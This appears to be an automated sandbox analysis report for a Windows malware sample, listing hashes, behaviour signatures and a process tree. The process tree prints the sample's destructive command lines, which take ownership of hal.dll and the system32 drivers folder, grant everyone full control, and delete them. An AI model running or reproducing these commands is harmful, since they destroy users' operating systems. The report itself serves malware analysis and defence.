Analysis

  • max time kernel
    12s
  • max time network
    6s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/08/2024, 19:55

General

  • Target
    fuckwindows.exe
  • Size 1.2MB
  • Sample240801-ynbx2azdqe
  • SHA256 d3c2d1889d268591ceeeb9ec7a6d714d4e5004d48da2182599a5efd752c11f2a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Possible privilege escalation attempt 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 3 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe
    "C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:5096
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\hal.dll" && icacls "c:\windows\system32\hal.dll" /grant Everyone:(F) && del /f "c:\windows\system32\hal.dll" && exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4488
      • C:\Windows\system32\takeown.exe
        takeown /f "c:\windows\system32\hal.dll"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4720
      • C:\Windows\system32\icacls.exe
        icacls "c:\windows\system32\hal.dll" /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1908
    • C:\Windows\System32\notepad.exe
      "C:\Windows\System32\notepad.exe"
      2⤵
        PID:2460
      • C:\Windows\System32\notepad.exe
        "C:\Windows\System32\notepad.exe"
        2⤵
          PID:780
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:4624
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\drivers\*" && icacls "c:\windows\system32\drivers\*" /grant Everyone:(F) && del /s /q /f "c:\windows\system32\drivers\*" && exit
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1652
            • C:\Windows\system32\takeown.exe
              takeown /f "c:\windows\system32\drivers\*"
              3⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:628
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
            2⤵
              PID:4848
              • C:\Windows\system32\wininit.exe
                "C:\Windows\system32\wininit.exe"
                3⤵
                  PID:4020

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  __PSScriptPolicyTest_t5mejjgk.4sa.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t5mejjgk.4sa.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512

                  memory/4848-4-0x000002746CAF0000-0x000002746CB12000-memory.dmp

                  memory/5096-0-0x00007FF768B40000-0x00007FF768CDF000-memory.dmp

                  memory/5096-1-0x00007FF768B40000-0x00007FF768CDF000-memory.dmp